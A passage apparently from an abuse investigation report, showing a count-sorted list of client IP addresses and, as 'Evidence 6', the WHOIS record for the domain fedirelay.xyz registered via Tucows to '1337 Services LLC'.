      5 176.97.170.147
      5 176.51.250.248
      4 195.19.120.48
      4 136.169.174.30
      4 109.252.48.41
      3 91.144.159.161
      3 81.30.182.51
      3
2a01:540:43c4:a00:8810:c810:a9b2:9ee9
      3 212.26.236.131
      3 128.69.253.19
      2 95.83.132.216
      2 95.53.105.241
      2 95.105.124.29
      2 94.245.151.63
      2 91.240.123.132
      2 89.109.43.198
      2 88.147.174.155
      2 88.147.152.128
      2 77.34.109.34
```

Evidence 6

fedirelay.xyz whois

```
Domain Name: FEDIRELAY.XYZ
Registry Domain ID: D369126810-CNIC
Registrar WHOIS Server: whois.tucows.com
Registrar URL: http://www.tucows.com/
Updated Date: 2023-05-20T00:00:16.0Z
Creation Date: 2023-05-19T23:45:18.0Z
Registry Expiry Date: 2024-05-19T23:59:59.0Z
Registrar: Tucows.com Co.
Registrar IANA ID: 69
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Registrant Organization: 1337 Services LLC
Registrant State/Province: Charlestown
Registrant Country: KN
Registrant Email: Please query the RDDS service of the Registrar of Record identified in
this output for information on how to contact the Registrant, Admin, or Tech contact of
the queried domain name.
Admin Email: Please query the RDDS service of the Registrar of Record identified in this
output for information on how to contact the Registrant, Admin, or Tech contact of the
queried domain name.
Tech Email: Please query the RDDS service of the Registrar of Record identified in this
output for information on how to contact the Registrant, Admin, or Tech contact of the
queried domain name.
Name Server: ADDYSON.NS.CLOUDFLARE.COM
Name Server: QUENTIN.NS.CLOUDFLARE.COM
DNSSEC: unsigned
Billing Email: Please query the RDDS service of the Registrar of Record identified in
this output for information on how to contact the Registrant, Admin, or Tech contact of
the queried domain name.
Registrar Abuse Contact Email: domainabuse@tucows.com
Registrar Abuse Contact Phone: +1.4165350123
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2023-05-25T23:31:34.0Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

>>> IMPORTANT INFORMATION ABOUT THE DEPLOYMENT OF RDAP: please visit
https://www.centralnic.com/support/rdap <<<

The Whois and RDAP services are provided by CentralNic, and contain
information pertaining to Internet domain names registered by our
our customers. By using this service you are agreeing (1) not to use any
information presented here for any purpose other than determining
ownership of domain names, (2) not to store or reproduce this data in
any way, (3) not to use any high-volume, automated, electronic processes
to obtain data from this service. Abuse of this service is monitored and
actions in contravention of these terms will result in being permanently
blacklisted. All data is (c) CentralNic Ltd (https://www.centralnic.com)

Access to the Whois and RDAP services is rate limited. For more
information, visit https://registrar-console.centralnic.com/pub/whois_guidance.
```